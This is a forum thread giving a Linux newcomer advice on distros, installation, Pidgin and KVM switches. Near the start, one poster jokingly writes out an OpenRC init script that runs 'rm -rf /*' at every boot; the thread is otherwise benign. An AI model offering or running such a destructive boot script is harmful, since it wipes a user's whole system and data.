linux help for you
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Aww that sucks. I wrote a shell script for automatically deleting your root directory at your default boot level, but I previewed the post then clicked away without posting it. :|
I do that at least once a week.
Code:
nano /etc/init.d/foo
#!/sbin/runscript
start() {
(rm -rf /*)
}
chmod +x foo
ls -s /etc/runlevels/boot/foo /etc/init.d/foo
Code:
rc-update add foo default
Now-a-days it's really easy. I've heard Ubuntu is as easy as working on a Mac. But even Gentoo and Debian make a universal cd/dvd that's really easy to install.
There are a couple of programs that can handle msn, but I haven't tried them.
I'm more than happy to help you or anyone that wants to try it out.
Something else you can do besides dual booting:
If you have an older desktop collecting dust somewhere, or you can find someone that's getting rid of an old computer, just hook both of your desktops, a keyboard, mouse and monitor to a KVM switch. That way you can just toggle between the two desktops (linux and windows) without having to reboot. It's also nice if one of the computers goes down you have a back up.
You can get a KVM for less than $20 online. I have a pretty good one connected to my desktop and workstation. It was $30 for the hub and another $20 for the cables.
If you want to get fancy, you can install 2 nics in the linux box and run a dhcp server, and use it as a firewall as well.
All sorts of options.
yeah i figured as much...I think pidgin can be used on Linux systems
well I only have one desktop, though I may install Linux on my older laptop since I have a spare 2.5 HDD. How much harder is it to install on a laptop than a desktop and is a specific version needed?
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I use pidgin for aim (sometimes). Apparetly pidgin can handle the msn protocol, but I haven't got it to work on gentoo.
It isn't any harder or easier. Look at these lists to see if your hardware is supported:
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There aren't many devices now that linux won't work with.
Take a look at gentoo and debian for your distros. They are the two best in my opinion, but feel free to take a look at the others as well. gentoo can be a little tricky to build, but it also gives you the most flexibility to build the OS however you want. It's etremely well documented.
Hmm... I've heard great stuff about Linux, but all of that from people who have a good mind about computers. Now to me, this all sounds like chinese, so I doubt someone who has basic information about computers can actually use Linux in a way that actually benefits them more than Windows?
Actually, there could be a lot of benefits. For example, there is far more malware out there written for windows. As a basic computer user, you will be prone to picking up malware. Sure, you can shell out some cash for a bunch of software to protect your computer, but eventually you'll still be forced to do a fresh install. (It's inevitable).
Other advantages could include actually learning more about your computer, your hardware, and becoming more advanced in knowledge.
Anyway, just food for thought.